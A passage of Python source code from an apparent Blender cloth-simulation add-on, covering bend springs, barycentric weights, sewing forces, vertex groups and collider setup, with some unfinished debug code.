2, 2)\n\n\n# abstract bend setup ----------------------------\n# precalculated ------------------------\ndef get_poly_vert_tilers(cloth):\n    \"\"\"Get an index to tile the left and right sides.\n    ls and rs is based on the left and right sides of\n    the face pairs.\"\"\"\n\n    if cloth.ob.MC_props.quad_bend:\n        obm = cloth.quad_obm\n    else:\n        obm = cloth.obm\n        obm.faces.ensure_lookup_table()\n\n    cloth.swap_jpv = []\n    cloth.jpv_full = []\n    ob = cloth.ob\n\n    cloth.ab_faces = []\n    cloth.ab_edges = []\n\n    count = 0\n    for i, j in zip(cloth.swap_faces, cloth.stacked_edv): # don't need to swap edv because both sides share the same edge\n\n        pvs = [v.index for v in obm.faces[i].verts]\n        nar = np.array(pvs)\n        b1 = nar != j[0]\n        b2 = nar != j[1]\n\n        nums = np.arange(nar.shape[0]) + count\n        cloth.ab_faces += nums[b1 & b2].tolist()\n        cloth.ab_edges += nums[~(b1)].tolist()\n        cloth.ab_edges += nums[~(b2)].tolist()\n\n        count += nar.shape[0]\n        r = [v.index for v in obm.faces[i].verts if v.index not in j]\n        cloth.swap_jpv += r\n\n    for i in cloth.swap_faces:\n        r = [v.index for v in obm.faces[i].verts]\n        cloth.jpv_full += r\n    \n\n# abstract bend setup ----------------------------\n# precalculated ------------------------\ndef tiled_weights(cloth):\n    \"\"\"Tile the tris with the polys for getting\n    barycentric weights\"\"\"\n\n    if cloth.ob.MC_props.quad_bend:\n        obm = cloth.quad_obm\n    else:\n        obm = cloth.obm\n\n    ob = cloth.ob\n    face_pairs = cloth.face_pairs\n\n    # counts per poly less the two in the edges\n    cloth.full_counts = np.array([len(f.verts) for f in obm.faces], dtype=np.int32)\n    cloth.full_div = np.array(cloth.full_counts, dtype=np.float32)[cloth.swap_faces][:, None]\n    cloth.plot_counts = cloth.full_counts - 2 # used by plotted centers\n    \n    # joined:\n    jfps = cloth.stacked_faces.shape[0]\n\n    jsc = cloth.plot_counts[cloth.swap_faces]\n    cloth.j_tiler = np.hstack([[i] * jsc[i] for i in range(jfps)])\n    jscf = cloth.full_counts[cloth.swap_faces]\n\n    ab_tiler_1 = np.array([[i] * jscf[i] for i in range(jfps)])\n    \n    if ab_tiler_1.dtype == 'object':\n        abl = []\n        for i in ab_tiler_1:\n            abl += i\n        cloth.ab_tiler = np.array(abl, dtype=np.int32)\n    else:\n        cloth.ab_tiler = ab_tiler_1.ravel()\n    \n    face_verts = np.array([[v.index for v in f.verts] for f in obm.faces])\n    if face_verts.dtype == 'object':\n        this = []\n        for i in face_verts[cloth.swap_faces]:\n            this += i\n        cloth.sp_ls = np.array(this, dtype=np.int32)\n    else:\n        cloth.sp_ls = face_verts[cloth.swap_faces].ravel()\n\n\n# abstract bend setup ----------------------------\n# precalculated ------------------------\ndef triangle_data(cloth):\n    \n    sco = cloth.sco\n    edv = cloth.edv\n    # joined tris:\n    j_tris = np.zeros((cloth.j_tips.shape[0], 3, 3), dtype=np.float32)\n    j_tris[:, :2] = sco[cloth.stacked_edv]\n    j_tris[:, 2] = cloth.j_tips\n    cloth.j_tris = j_tris\n    #-----------------\n\n    # get the tilers for creating tiled weights\n    tiled_weights(cloth)\n\n    trial = False\n    trial = True\n    if trial:\n        # can probably speed this up by merging the arrays then slicing\n        tips, ax, ce = get_eq_tri_tips(cloth, cloth.sco, cloth.source_centers, skip=False)\n        c1 = np.cross(ax, ce)\n        c2 = np.cross(c1, ax)\n\n        Uax = ax / np.sqrt(np.einsum('ij,ij->i', ax, ax))[:, None]\n        Uc1 = c1 / np.sqrt(np.einsum('ij,ij->i', c1, c1))[:, None]\n        Uc2 = c2 / np.sqrt(np.einsum('ij,ij->i', c2, c2))[:, None]\n\n        j_mid = sco[cloth.stacked_edv[:,0]] + (ax * 0.5)\n\n        vecs = sco[cloth.swap_jpv] - j_mid[cloth.j_tiler]\n\n        cloth.d1 = np.einsum('ij,ij->i', vecs, Uax[cloth.j_tiler])\n        cloth.d2 = np.einsum('ij,ij->i', vecs, Uc1[cloth.j_tiler])\n        cloth.d3 = np.einsum('ij,ij->i', vecs, Uc2[cloth.j_tiler])\n        cloth.is_flat = np.all(np.abs(cloth.d2) < 0.00001)\n\n\n# abstract bend setup ----------------------------\n# precalculated ------------------------\ndef ab_setup(cloth):\n    cloth.ab_centers = np.empty((cloth.stacked_faces.shape[0], 3), dtype=np.float32)\n    cloth.ab_coords = np.empty((len(cloth.jpv_full), 3), dtype=np.float32)\n\n    l = cloth.sp_ls # left side of the springs (Full moved takes the place of the right side)\n    a,b,c = np.unique(l, return_counts=True, return_inverse=True)\n    x = c[b] # number of times each vert occurs\n\n    x[x < 8] *= 2\n\n    cloth.bend_multiplier = 1 / x[:, None] #(((x - 2.5) / 2.5) + 2.5)[:, None]\n\n    # multiplying the vertex group here (for some reason...)\n    cloth.bend_group_mult = cloth.bend_group[l]\n    cloth.bend_multiplier *= cloth.bend_group_mult\n\n\n# abstract bend setup ----------------------------\n# precalculated ------------------------\ndef bend_setup(cloth):\n    # if I end up using cross products and unit\n    #   vecs instead of wieghts, I can\n    #   add the center of the edge\n    #   once at the end\n    #   instead of doing it for all three\n    rt_()\n    if cloth.ob.MC_props.quad_bend:\n        cloth.quad_obm = get_quad_obm(cloth.ob)\n        cloth.quad_obm.faces.ensure_lookup_table()\n        cloth.center_data = get_poly_centers_bmesh(cloth.quad_obm, cloth.sco, data=None)\n    else:\n        cloth.center_data = get_poly_centers(cloth.ob, cloth.sco, data=None)\n\n    cloth.source_centers = np.copy(cloth.center_data[0]) # so we can overwrite the centers array when dynamic\n    eq_bend_data(cloth)\n    #rt_('1')\n    get_poly_vert_tilers(cloth)\n    #rt_('2')    \n    get_eq_tri_tips(cloth, cloth.sco, cloth.source_centers)\n    #rt_('3')    \n    triangle_data(cloth)\n    #rt_('4')\n    ab_setup(cloth)\n    rt_('setup bend springs')\n\n# abstract bend setup ----------------------------\n# dynamic ------------------------------\ndef dynamic(cloth):\n\n    # get centers from MC_current\n    centers = get_poly_centers(cloth.ob, cloth.co, cloth.center_data)\n    co = cloth.co\n\n    tips, ax, ce = get_eq_tri_tips(cloth, co, centers, skip=False)\n    c1 = np.cross(ax, ce)\n    c2 = np.cross(c1, ax)\n\n    Uax = ax / np.sqrt(np.einsum('ij,ij->i', ax, ax))[:, None]\n    Uc1 = c1 / np.sqrt(np.einsum('ij,ij->i', c1, c1))[:, None]\n    Uc2 = c2 / np.sqrt(np.einsum('ij,ij->i', c2, c2))[:, None]\n\n    j_mid = co[cloth.stacked_edv[:,0]] + (ax * 0.5)\n\n    p1 = Uax[cloth.j_tiler] * cloth.d1[:, None]\n    p3 = Uc2[cloth.j_tiler] * cloth.d3[:, None]\n\n    origin = j_mid[cloth.j_tiler]\n\n    if not cloth.is_flat:\n        p2 = Uc1[cloth.j_tiler] * cloth.d2[:, None]\n        final_plot = p1 + p2 + p3 + origin\n\n    if cloth.is_flat:\n        final_plot = p1 + p3 + origin\n\n    # get centers from plot\n    cloth.ab_centers[:] = 0\n    cloth.ab_centers += co[cloth.stacked_edv[:, 0]]\n    cloth.ab_centers += co[cloth.stacked_edv[:, 1]]\n    np.add.at(cloth.ab_centers, cloth.j_tiler, final_plot)\n\n    cloth.ab_centers /= cloth.full_div\n\n    c_vecs = centers[cloth.swap_faces] - cloth.ab_centers\n\n    cloth.ab_coords[cloth.ab_faces] = final_plot\n    cloth.ab_coords[cloth.ab_edges] = cloth.co[cloth.stacked_edv.ravel()]\n\n    full_moved = cloth.ab_coords + c_vecs[cloth.ab_tiler]\n\n    cloth.full_moved = full_moved\n\n\n# abstract bend setup ----------------------------\n# dynamic ------------------------------\ndef abstract_bend(cloth):\n    dynamic(cloth)\n    stretch = cloth.ob.MC_props.bend\n    cv = (cloth.full_moved - cloth.co[cloth.sp_ls])\n    mult = cloth.bend_multiplier * stretch\n    cv *= mult\n    np.add.at(cloth.co, cloth.sp_ls, np.nan_to_num(cv))\n\n\ndef abstract_bend_(cloth):\n    # weighted average method\n    # !!! this might be better. Need to test\n    dynamic(cloth)\n    stretch = cloth.ob.MC_props.bend\n    cv = (cloth.full_moved - cloth.co[cloth.sp_ls])\n    lens = np.sqrt(np.einsum('ij,ij->i', cv, cv))\n    stretch_array = np.zeros(cloth.co.shape[0], dtype=np.float32)\n    np.add.at(stretch_array, cloth.sp_ls, lens)\n    w = (lens / stretch_array[cloth.sp_ls]) * stretch\n    cv *= w[:, None]\n    \n    np.add.at(cloth.co, cloth.sp_ls, np.nan_to_num(cv))\n\n#                                                                #\n#                                                                #\n# ------------------- end abstract bend data ------------------- #\n\n# universal ---------------\ndef inside_triangles(tris, points, check=True, surface_offset=False, cloth=None):\n    \"\"\"Can check inside triangle.\n    Can find barycentric weights for triangles.\n    Can find multiplier for distance off surface\n        from non-unit cross product.\"\"\"\n    origins = tris[:, 0]\n    cross_vecs = tris[:, 1:] - origins[:, nax]\n    v2 = points - origins\n\n    # ---------\n    v0 = cross_vecs[:,0]\n    v1 = cross_vecs[:,1]\n\n    d00_d11 = np.einsum('ijk,ijk->ij', cross_vecs, cross_vecs)\n    d00 = d00_d11[:,0]\n    d11 = d00_d11[:,1]\n    d01 = np.einsum('ij,ij->i', v0, v1)\n    d02 = np.einsum('ij,ij->i', v0, v2)\n    d12 = np.einsum('ij,ij->i', v1, v2)\n\n    div = 1 / (d00 * d11 - d01 * d01)\n    u = (d11 * d02 - d01 * d12) * div\n    v = (d00 * d12 - d01 * d02) * div\n\n    weights = np.array([1 - (u+v), u, v, ]).T\n    if not check | surface_offset:\n        return weights\n\n    if not check:\n        cross = np.cross(cross_vecs[:,0], cross_vecs[:,1])\n        d_v2_c = np.einsum('ij,ij->i', v2, cross)\n        d_v2_v2 = np.einsum('ij,ij->i', cross, cross)\n        div = d_v2_c / d_v2_v2\n\n        U_cross = cross / np.sqrt(d_v2_v2)[:, None]\n        U_d = np.einsum('ij,ij->i', v2, U_cross)\n\n\n        return weights, div, U_d# for normalized\n\n    check = np.all(weights > 0, axis=0)\n    # check if bitwise is faster when using lots of tris\n    if False:\n        check = (u > 0) & (v > 0) & (u + v < 1)\n\n    return weights.T, check\n\n\ndef get_cloth(ob):\n    \"\"\"Return the cloth instance from the object\"\"\"\n    return MC_data['cloths'][ob['MC_cloth_id']]\n\n# ^                                                          ^ #\n# ^                 END universal functions                  ^ #\n# ============================================================ #\n\n\n# ============================================================ #\n#                   precalculated data                         #\n#                                                              #\n\n# precalculated ---------------\ndef closest_point_mesh(cloth, target):\n    \"\"\"Using blender built-in method\"\"\"\n    #target.data.update()\n    #manage_collider_mesh(cloth)\n    note = 'can use this to do surface follow with some mods'\n    note_2 = 'currently only works with one collider'\n    \n    #cm = bpy.data.objects['MC_OBC_@?!']\n    #dg = glob_dg\n    #target = dg.objects.get(cm.name)\n    dg = bpy.context.evaluated_depsgraph_get()\n    #target = cm.evaluated_get(dg)\n    # get world co for cloth\n    lco = apply_transforms(cloth.ob, cloth.co)\n\n    # apply cloth world to object local\n    ico = invert_transforms(target, lco)\n        \n    co = []\n    for c in ico:\n        #hit, loc, norm, face_index = target.closest_point_on_mesh(c)\n        hit, loc, norm, face_index = target.closest_point_on_mesh(c, distance=1.84467e+19, depsgraph=dg)\n        co += [loc]\n        \n    cloth.last_cpm = apply_transforms(target, co)\n\n    \n    vecs = cloth.last_cpm - lco\n\n    # apply global force to cloth local\n    move = revert_rotation(cloth.ob, vecs)\n\n    return move\n    \n\ndef get_tridex(ob, tobm=None):\n    \"\"\"Return an index for viewing the verts as triangles\"\"\"\n    free = False\n    if tobm is None:\n        tobm = bmesh.new()\n        tobm.from_mesh(ob.data)\n        free = True\n    bmesh.ops.triangulate(tobm, faces=tobm.faces[:])\n    tridex = np.array([[v.index for v in f.verts] for f in tobm.faces], dtype=np.int32)\n    if free:\n        tobm.free()\n    return tridex\n\n\ndef get_tridex_2(ob, mesh=None): # faster than get_tridex()\n    \"\"\"Return an index for viewing the\n    verts as triangles using a mesh and\n    foreach_get. Faster than get_tridex()\"\"\"\n\n    if mesh is not None:\n        tobm = bmesh.new()\n        tobm.from_mesh(mesh)\n        bmesh.ops.triangulate(tobm, faces=tobm.faces)\n        me = bpy.data.meshes.new('tris')\n        tobm.to_mesh(me)\n        p_count = len(me.polygons)\n        tridex = np.empty((p_count, 3), dtype=np.int32)\n        me.polygons.foreach_get('vertices', tridex.ravel())\n\n        # clear unused tri mesh\n        bpy.data.meshes.remove(me)\n        if ob == 'p':\n            return tridex, tobm\n        \n        tobm.free()\n        return tridex\n\n    if ob.data.is_editmode:\n        ob.update_from_editmode()\n        \n    tobm = bmesh.new()\n    tobm.from_mesh(ob.data)\n    bmesh.ops.triangulate(tobm, faces=tobm.faces[:])\n    me = bpy.data.meshes.new('tris')\n    tobm.to_mesh(me)\n    p_count = len(me.polygons)\n    tridex = np.empty((p_count, 3), dtype=np.int32)\n    me.polygons.foreach_get('vertices', tridex.ravel())\n\n    # clear unused tri mesh\n    bpy.data.meshes.remove(me)\n\n    return tridex, tobm\n\n\ndef get_sc_edges(ob, fake=False):\n    \"\"\"Edge indexing for self collision\"\"\"\n    if fake:\n        c = len(ob.data.vertices)\n        ed = np.empty((c, 2), dtype=np.int32)\n        idx = np.arange(c * 2, dtype=np.int32)\n        ed[:, 0] = idx[:c]\n        ed[:, 1] = idx[c:]\n        return ed\n    \n    ed = np.empty((len(ob.data.edges), 2), dtype=np.int32)\n    ob.data.edges.foreach_get('vertices', ed.ravel())\n    return ed\n\n\n# precalculated ---------------\ndef create_surface_follow_data(active, cloths):\n    \"\"\"Need to run this every time\n    we detect 'not same' \"\"\"\n\n    # !!! need to make a global dg shared between cloth objects???\n    selection = active.MC_props.surface_follow_selection_only\n\n    for c in cloths:\n        cloth = MC_data['cloths'][c['MC_cloth_id']]\n        proxy = active.evaluated_get(cloth.dg)\n        cloth.surface = True\n        cloth.surface_object = proxy\n\n        vw = get_weights(c, 'MC_surface_follow')\n        idx = np.where(vw != 0)[0]\n        cloth.bind_idx = idx\n\n        print(\"have to run the surface calculations when updating groups\")\n\n        if selection:\n            sel_object, sel_faces, idx_faces = mesh_from_selection(proxy, \"temp_delete_me\")\n            if sel_object is None:\n                return 'Select part of the mesh or turn off \"Selection Only\"'\n\n            # triangulate selection object mesh for barycentric weights\n            sel_obm = bmesh.new()\n            sel_obm.from_mesh(sel_object.data)\n            bmesh.ops.triangulate(sel_obm, faces=sel_obm.faces[:])\n            sel_obm.to_mesh(sel_object.data)\n            sel_object.data.update()\n            copy_object_transforms(proxy, sel_object)\n            sel_tridex = get_tridex(sel_object, sel_obm)\n            sel_obm.free()\n\n            # find barycentric data from selection mesh\n            locs, faces, norms, cos = closest_point_mesh(cloth, c, idx, sel_object)\n\n            # converts coords to dict keys so we can find corresponding verts in surface follow mesh\n            idx_co_key = {}\n            pvs = proxy.data.vertices\n            flat_faces = np.hstack(sel_faces)\n            for i in range(len(flat_faces)):\n                idx_co_key[str(pvs[flat_faces[i]].co)] = flat_faces[i]\n\n            # use keys to get correspoinding vertex indices\n            flat_2 = np.hstack(sel_tridex[faces])\n            co_key_2 = []\n            vs = sel_object.data.vertices\n            tri_keys = [str(vs[i].co) for i in flat_2]\n            surface_follow_tridex = [idx_co_key[i] for i in tri_keys]\n\n            # convert to numpy and reshape\n            cloth.surface_tridex = np.array(surface_follow_tridex)\n\n            cloth.surface_tris_co = np.array([pvs[i].co for i in cloth.surface_tridex], dtype=np.float32)\n            shape = cloth.surface_tridex.shape[0]\n            cloth.surface_tridex.shape = (shape // 3, 3)\n            cloth.surface_tris_co.shape = (shape // 3, 3, 3)\n            #v = proxy.data.vertices\n            #for i in cloth.surface_tridex.ravel():\n                #bpy.ops.object.empty_add(location=proxy.matrix_world @ v[i].co)\n            #print(tri_keys)\n\n            # delete temp mesh\n            me = sel_object.data\n            bpy.data.objects.remove(sel_object)\n            bpy.data.meshes.remove(me)\n\n            # generate barycentric weights\n            cloth.surface_bary_weights = inside_triangles(cloth.surface_tris_co, locs, check=False)\n\n\n            dif = cos - apply_transforms(active, locs)\n            #cloth.surface_norms = norms\n            cloth.surface_norm_vals = np.sqrt(np.einsum(\"ij ,ij->i\", dif, dif))[:, nax]\n\n            # Critical values for barycentric placement:\n            #   1: cloth.surface_tridex          (index of tris in surface object)\n            #   2: cloth.surface_bary_weights    (barycentric weights)\n            #   3: cloth.surface_object          (object we're following)\n            #   4: cloth.surface                 (bool value indicating we should run surface code)\n            #   5: cloth.bind_idx = idx          (verts that are bound to the surface)\n            #   6: cloth.surface_norms = norms   (direction off surface of tris)\n            #   7: cloth.surface_normals = norms (mag of surface norms)\n\n\ndef virtual_springs(cloth):\n    \"\"\"Adds spring sets checking if springs\n    are already present using strings.\n    Also stores the set so we can check it\n    if there are changes in geometry.\"\"\"\n\n    # when we detect changes in geometry we\n    #   regenerate the springs, then add\n    #   cloth.virtual_springs to the basic\n    #   array after we check that all the\n    #   verts in the virtual springs are\n    #   still in the mesh.\n    verts = cloth.virtual_spring_verts\n    ed = cloth.basic_set\n\n    string_spring = [str(e[0]) + str(e[1]) for e in ed]\n\n    strings = []\n    new_ed = []\n    for v in verts:\n        for j in verts:\n            if j != v:\n                stringy = str(v) + str(j)\n                strings.append(stringy)\n                #if stringy not in string_spring:\n                new_ed.append([v,j])\n\n    in1d = np.in1d(strings, string_spring)\n    cull_ed = np.array(new_ed)[~in1d]\n    cloth.virtual_springs = cull_ed # store it for checking when changing geometry\n    cloth.basic_set = np.append(cloth.basic_set, cull_ed, axis=0)\n    cloth.basic_v_fancy = cloth.basic_set[:,0]\n    # would be nice to have a mesh or ui magic to visualise virtual springs\n    # !!! could do a fixed type sew spring the same way !!!\n    # !!! maybe use a vertex group for fixed sewing? !!!\n    # !!! Could also use a separate object for fixed sewing !!!\n\n    cloth.measure_length = np.zeros(cloth.basic_v_fancy.shape[0], dtype=np.float32)\n    cloth.measure_dot = np.zeros(cloth.basic_v_fancy.shape[0], dtype=np.float32)\n    \n    cloth.vdl = stretch_springs_basic(cloth)\n\n\ndef get_sew_springs(cloth):\n    \"\"\"Creates data for using add.at with average locations\n    of sew verts. Groups areas using a sort of tree where\n    multiple edges would bring sew verts together.\"\"\"\n    rt_()\n\n    if cloth.ob.MC_props.simple_sew:\n        print(\"used simple sew\")\n        obm = cloth.obm\n        cloth.sew_fancy_indexer = []\n        cloth.sew_add_indexer = []\n        #cloth.simple_sew_v = []\n        #cloth.simple_sew_fancy = []\n        for v in obm.verts:\n            le = [e.other_vert(v).index for e in v.link_edges if len(e.link_faces) == 0]\n            cloth.sew_add_indexer += [v.index] * len(le)\n            cloth.sew_fancy_indexer += le\n            \n        #print(cloth.simple_sew_v, \"sew verts\")\n        #print(cloth.simple_sew_fancy, \"sew fancy\")\n        #print('done with simple sew')\n        if len(cloth.sew_fancy_indexer) != 0:\n            cloth.sew = True\n        rt_('time to simple sew')\n        return\n        \n    obm = cloth.obm    \n    cloth.sew = True\n    cull = []\n    pairs = [] # edge indices of singe sew edges\n    groups = []\n\n    for e in obm.edges:\n        if len(e.link_faces) == 0:\n            if e.index not in cull:\n                cull += [e.index]\n                \n                v1 = e.verts[0]\n                le1 = [ed.index for ed in v1.link_edges if (ed.index not in cull) & (len(ed.link_faces) == 0)]\n                cull += le1\n                \n                v2 = e.verts[1]\n                le2 = [ed.index for ed in v2.link_edges if (ed.index not in cull) & (len(ed.link_faces) == 0)]\n                cull += le2\n\n                if len(le1 + le2) == 0:\n                    pairs += [e.index]\n                    continue\n\n                eg = []\n                eg += le1\n                eg += le2\n                keep_going = True\n                \n                itg = eg\n                while len(itg) != 0:\n                    for ee in itg:\n\n                        cull += [ee]\n                        \n                        v1 = obm.edges[ee].verts[0]\n                        le1 = [ed.index for ed in v1.link_edges if (ed.index not in cull) & (len(ed.link_faces) == 0)]\n                        cull += le1\n                        \n                        v2 = obm.edges[ee].verts[1]\n                        le2 = [ed.index for ed in v2.link_edges if (ed.index not in cull) & (len(ed.link_faces) == 0)]\n                        cull += le2\n                        merge = le1 + le2\n\n                        if len(merge) == 0:\n                            keep_going = False\n\n                        itg = merge\n                        eg += merge\n\n                eg += [e.index]\n                groups.append(eg)\n                \n    \n    if len(pairs) == 0:\n        if len(groups) == 0:    \n            cloth.sew = False\n            return\n                    \n    e_count = len(cloth.ob.data.edges)\n    eidx = np.empty((e_count, 2), dtype=np.int32)\n    cloth.ob.data.edges.foreach_get('vertices', eidx.ravel())\n    \n    sew_pairs_v = eidx[pairs].ravel().tolist()\n    sew_groups_v = []\n    \n    indexer = []\n    divs = []\n    for i, g in enumerate(groups):\n        temp = []\n        for v in eidx[g].ravel(): # compare to unique, unique was slower!!\n            if v not in temp:\n                temp += [v]\n        \n        sew_groups_v += temp\n        lt = len(temp)\n        divs += [lt]\n        indexer += [i] * lt\n    \n    pidx1 = np.arange(len(pairs))\n    pidx = np.repeat(pidx1, 2) + (len(groups))\n\n    count = len(groups) + len(pairs)\n    cloth.sew_mean = np.zeros((count, 3), dtype=np.float32)\n    cloth.all_sew = sew_groups_v + sew_pairs_v\n    cloth.sew_mean_idx = indexer + pidx.tolist()\n    cloth.sew_div = np.array(divs + ([2] * len(pairs)),dtype=np.float32)[:, None]\n    rt_('time to sew')\n    \n\ndef hook_force(cloth):\n    id = cloth.ob['MC_cloth_id']\n    empties = [o for o in bpy.data.objects if o.type == 'EMPTY']\n    # fix this by creating a prop\n    empties = [h for h in empties if 'MC_cloth_id' in h]\n    hooks = [h for h in empties if h['MC_cloth_id'] == id]\n    if len(hooks) < 1:\n        return\n    idx = [h.MC_props.hook_index for h in hooks]\n    hook_co = np.array([cloth.ob.matrix_world.inverted() @ h.matrix_world.to_translation() for h in hooks], dtype=np.float32)\n    cloth.co[idx] = hook_co    \n\n\ndef sew_v_fancy(cloth):\n\n    if cloth.ob.MC_props.simple_sew:\n        return\n    \n    if not cloth.sew:\n        return\n    \n    npas = np.array(cloth.all_sew)\n    npsm = np.array(cloth.sew_mean_idx)\n\n    sew_add_indexer = []\n    sew_fancy_indexer = []\n    \n    '''\n    [0, 0, 0, 0, 1, 1] This represents the 0 group and the 1 group\n    These points all sew together to the same spot.\n    \n    [ 1  9 21 29  5 25]\n    corresponds to the above. 1, 9, 21, 29 all come together.\n    5 and 25 come together.\n    \n    need an array like v_fancy. \n    for the 1 need [9, 21, 9\n    for the 9 need [1, 21, 29\n    can stack them for add.at like [9, 21, 9, 1, 21, 29\n    need to stack them like [1, 1, 1, 9, 9, 9\n    '''\n    \n    for i, j in enumerate(cloth.sew_mean_idx):\n        meh = npas[npsm == j]        \n        sew_add_indexer += [[npas[i]] * (meh.shape[0] - 1)]\n        sew_fancy_indexer += [meh[meh != [npas[i]]]]\n        \n    cloth.sew_add_indexer = np.hstack(sew_add_indexer)\n    cloth. sew_fancy_indexer = np.hstack(sew_fancy_indexer)\n\n\ndef sew_force_1(cloth):\n    if not cloth.sew:\n        return\n    \n    tl = cloth.ob.MC_props.target_sew_length / 2\n    \n    cloth.sew_mean[:] = 0.0\n    np.add.at(cloth.sew_mean, cloth.sew_mean_idx, cloth.co[cloth.all_sew])\n    means = cloth.sew_mean / cloth.sew_div\n    vecs = (means[cloth.sew_mean_idx] - cloth.co[cloth.all_sew]) #* cloth.ob.MC_props.sew_force\n    \n    \n    if cloth.ob.MC_props.self_collide:\n        if cloth.ob.MC_props.self_collide_margin > tl * 2:\n            tl = cloth.ob.MC_props.self_collide_margin / 2\n    \n    if tl != 0:\n        vecs = cloth.co[cloth.sew_fancy_indexer] - cloth.co[cloth.sew_add_indexer]\n        l = np.sqrt(np.einsum('ij,ij->i', vecs, vecs))\n        move_l = (l - tl)# * cloth.ob.MC_props.sew_force\n        vecs *= (move_l / l)[:, None]\n        \n        # makes shorter springs more powerful\n        hold = move_l / move_l ** 2\n        vecs *= hold[:, None]\n        # -----------------------------------\n        \n        nn = np.nan_to_num(vecs) * cloth.ob.MC_props.sew_force\n        np.add.at(cloth.co, cloth.sew_add_indexer, nn)\n        return\n\n    nn = np.nan_to_num(vecs)# * cloth.ob.MC_props.sew_force\n    #np.add.at(cloth.co, cloth.all_sew, nn)\n    cloth.co[cloth.all_sew] += vecs * cloth.ob.MC_props.sew_force\n    print(cloth.all_sew)\n    print(cloth.sew_mean_idx, \"mean idx\")\n    #print(np.unique(cloth.all_sew).shape, \"uin\")\n    \n\ndef sew_force(cloth):\n    if not cloth.sew:\n        return\n\n    tl = cloth.ob.MC_props.target_sew_length / 2\n\n    if cloth.ob.MC_props.self_collide:\n        if cloth.ob.MC_props.self_collide_margin > tl * 2:\n            tl = cloth.ob.MC_props.self_collide_margin * 1.001\n\n    if tl != 0:\n        vecs = cloth.co[cloth.sew_fancy_indexer] - cloth.co[cloth.sew_add_indexer]\n        l = np.sqrt(np.einsum('ij,ij->i', vecs, vecs))\n        move_l = (l - tl)# * cloth.ob.MC_props.sew_force\n        vecs *= ((l - tl) / l)[:, None]\n\n        nn = np.nan_to_num(vecs)# * (cloth.ob.MC_props.sew_force * .5)\n        short = move_l < 0.5\n        nn[short] *= .1\n        nn[~short] *= (cloth.ob.MC_props.sew_force * .5)\n        \n        #nn = np.nan_to_num(vecs) * (cloth.ob.MC_props.sew_force * .5)\n        np.add.at(cloth.co, cloth.sew_add_indexer, nn)\n\n        return\n\n    cloth.sew_mean[:] = 0.0\n    np.add.at(cloth.sew_mean, cloth.sew_mean_idx, cloth.co[cloth.all_sew])\n    means = cloth.sew_mean / cloth.sew_div\n    vecs = (means[cloth.sew_mean_idx] - cloth.co[cloth.all_sew])\n    \n    need_to_verify = \"check if add.at works better !!!\"\n    nn = np.nan_to_num(vecs)# * cloth.ob.MC_props.sew_force\n    #np.add.at(cloth.co, cloth.all_sew, nn)\n    cloth.co[cloth.all_sew] += vecs * cloth.ob.MC_props.sew_force\n        \n\ndef get_springs_2(cloth):\n    \"\"\"Create index for viewing stretch springs\"\"\"\n\n    obm = cloth.obm\n\n    if not cloth.do_stretch:\n        return\n\n    ed = []\n    for v in obm.verts:\n        if cloth.linear_cull[v.index]:\n            v_set = []\n            for f in v.link_faces:\n                for vj in f.verts:\n                    if vj != v:\n                        stri = str(v.index) + str(vj.index)\n                        if stri not in v_set:\n                            ed.append([v.index, vj.index])\n                            v_set.append(stri)\n\n    cloth.basic_set = np.array(ed)\n    cloth.basic_v_fancy = cloth.basic_set[:,0]\n    cloth.stretch_group_mult = cloth.stretch_group[cloth.basic_v_fancy]\n\n\n# ^                                                          ^ #\n# ^                 END precalculated data                   ^ #\n# ============================================================ #\n\n# ============================================================ #\n#                      cloth instance                          #\n#                                                              #\n\ndef manage_vertex_groups(cloth):\n    \"\"\"Create vertex groups and generate\n    numpy arrays for them.\"\"\"\n\n    ob = cloth.ob\n    #obm = cloth.obm\n    #if ob.data.is_editmode:\n    #ob.data.update()\n    obm = get_bmesh(ob)\n\n    vw = 1 # so we avoid calculating except where the spring values are more than zero\n    if ob.MC_props.dense:\n        vw = 0\n\n    np_groups = []\n    groups = [('MC_pin',            0.0),\n              ('MC_drag',           0.0),\n              ('MC_surface_follow', 0.0),\n              ('MC_bend_stiff',      vw),\n              ('MC_stretch',         vw),\n              ('MC_collide_offset',  vw),\n              ]\n\n    for i in groups:\n        np_groups.append(get_weights(ob, i[0], obm, i[1]))\n\n    cloth.pin = np_groups[0][:, None]\n    cloth.drag = np_groups[1][:, None]\n    cloth.surface_follow = np_groups[2]\n    cloth.bend_group = np_groups[3][:, None]\n    cloth.stretch_group = np_groups[4][:, None]\n    cloth.group_surface_offset = np_groups[5]\n\n    cloth.bend_cull = cloth.bend_group > 0\n\n    cloth.do_bend = False\n    if np.any(cloth.bend_cull):\n        cloth.do_bend = True\n        cloth.sco = get_co_shape(cloth.ob, key='MC_source', ar=None)\n    \n        if cloth.ob.MC_props.simple_sew:\n            cloth.sco = get_co_shape(cloth.ob, \"pre_wrap\")\n            print(\"used the pre_wrap shape\")\n        \n        bend_setup(cloth)\n        \n        if cloth.ob.MC_props.simple_sew:\n            cloth.sco = get_co_shape(cloth.ob, key='MC_source', ar=None)\n\n    cloth.linear_cull = cloth.stretch_group > 0\n    cloth.do_stretch = False\n    if np.any(cloth.linear_cull):\n        cloth.do_stretch = True\n        get_springs_2(cloth)\n    \n    # get_sew_springs(cloth)\n    \n    cloth.skip_bend_wieght = np.all(cloth.bend_group == 1) # for optimizing by elimating multiplier\n    cloth.skip_stretch_wieght = np.all(cloth.stretch_group == 1) # for optimizing by elimating multiplier\n    # when running in p1 just write to these two groups\n    # before turning on cloth.\n\n    if ob.data.is_editmode:\n        bmesh.update_edit_mesh(ob.data)\n        return\n\n    cloth.obm.to_mesh(ob.data)\n    cloth.ob.data.update()\n\n\nclass Collider():\n    # The collider object\n    name = 'inital name'\n\n    def __init__(self, cloth=None):\n        \n        #print('----------__init__-----------')\n        \n        colliders = [o for o in bpy.data.objects if (o.MC_props.collider) & (o != cloth.ob)]\n        if len(colliders) == 0:\n            return\n        geo_check = []\n        cloth.collider_count = len(colliders)\n        \n        cloth.total_co = np.empty((0, 3), dtype=np.float32)\n        oc_total_tridex = np.empty((0,3), dtype=np.int32)\n        cloth.oc_tri_counts = []\n        cloth.oc_v_counts = []\n        \n        cloth.ob_v_norm_indexer1 = []\n        cloth.ob_v_norm_indexer = []\n        \n        shift = 0\n        \n        f_shift = 0\n        for i, c in enumerate(colliders):\n            abco, proxy, prox = absolute_co(c)\n            gt2, triobm = get_tridex_2(ob='p', mesh=proxy)\n\n            cloth.oc_tri_counts.append(gt2.shape[0])\n            cloth.oc_v_counts.append(abco.shape[0])\n            oc_total_tridex = np.append(oc_total_tridex, gt2 + shift, axis=0)\n\n            ob_settings = not cloth.ob.MC_props.override_settings\n\n            cloth.ob_v_norm_indexer1 += [[f.index + 